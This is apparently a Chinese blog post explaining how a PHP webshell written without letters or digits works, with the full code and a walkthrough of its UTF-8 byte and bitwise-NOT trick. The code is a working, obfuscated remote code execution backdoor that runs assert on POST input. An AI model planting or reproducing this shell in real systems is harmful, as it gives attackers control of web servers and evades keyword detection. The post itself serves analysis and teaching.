一些不包含数字和字母的webshell理解

一些不包含数字和字母的webshell理解

前言

前端时间群里大佬发了一个代码询问我们里面的原理,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$__ = ('>' > '<') + ('>' > '<');
$_ = $__ / $__;

$____ = '';
$___ = "瞰";
$____ .= ~($___{$_});
$___ = "和";//(3) he
$____ .= ~($___{$__});
$___ = "和";
$____ .= ~($___{$__});
$___ = "的";
$____ .= ~($___{$_});
$___ = "半";
$____ .= ~($___{$_});
$___ = "始";
$____ .= ~($___{$__});


$_____ = '_';
$___ = "俯";
$_____ .= ~($___{$__});
$___ = "瞰";
$_____ .= ~($___{$__});
$___ = "次";
$_____ .= ~($___{$_});
$___ = "站";
$_____ .= ~($___{$_});


$_ = $$_____;
$____($_[$__]);
?>

后来在诸位大佬的帮助下找到了这篇文章,顿时眼界打开。

分析

源码理解

第二行的$__ = (‘>’ > ‘<’) + (‘>’ > ‘<’);实际上是true+true也就是1+1(简单地说就是一个大于号>和一个小于号<的比较,由于大于号的ASCII码十进制是62,小于号是60,因此这里>大于<是成立的,返回true)

所以$__=2

第三行的$_ = $__ / $__;

即2/2,所以$_=1

1
2
$___ = "瞰";
$____ .= ~($___{$_});

这两行代码的原理是这样的:

将某个汉字转为utf-8编码,然后将其中某个字符取出来。

{}这个括号可以理解为数组里面的[]

~在php里是取反

.这个符号则是添加,类似于python的append

所以这两行代码实际上就是先转为utf-8编码,然后通过{}将里面的字符提取出来,再进行取反,然后就生成a这个字符了。

而这个加密的关键就是在于utf-8编码这里。

下面我们来说明一下相关的原理

原理

我们以“瞰”这个汉字为例。

首先我们这个字要在网络上传播是需要使用二进制来表示电压的。

在unicode编码表中,“瞰”这个字的编码为0x77B0.

转成utf-8模式,对照它的映射表,我们这个0x77B0是在0x000-0xFFFF之间,而utf-8是使用3字节模板(1110xxxx 10xxxxxx 10xxxxxx),所以我们需要将77B0转成二进制

(0111 0111 1011 0000)

在转成二进制后我们用这个比特流一次代替模板中的x,得到

11100111 10011110 10110000即为e7,9e,b0

在源码中我们‘瞰’这个字是提取第一组字符出来进行取反的,因此我们是提取了10011110出来,然后取反为01100001,根据ascill查询可以得到该二进制就是a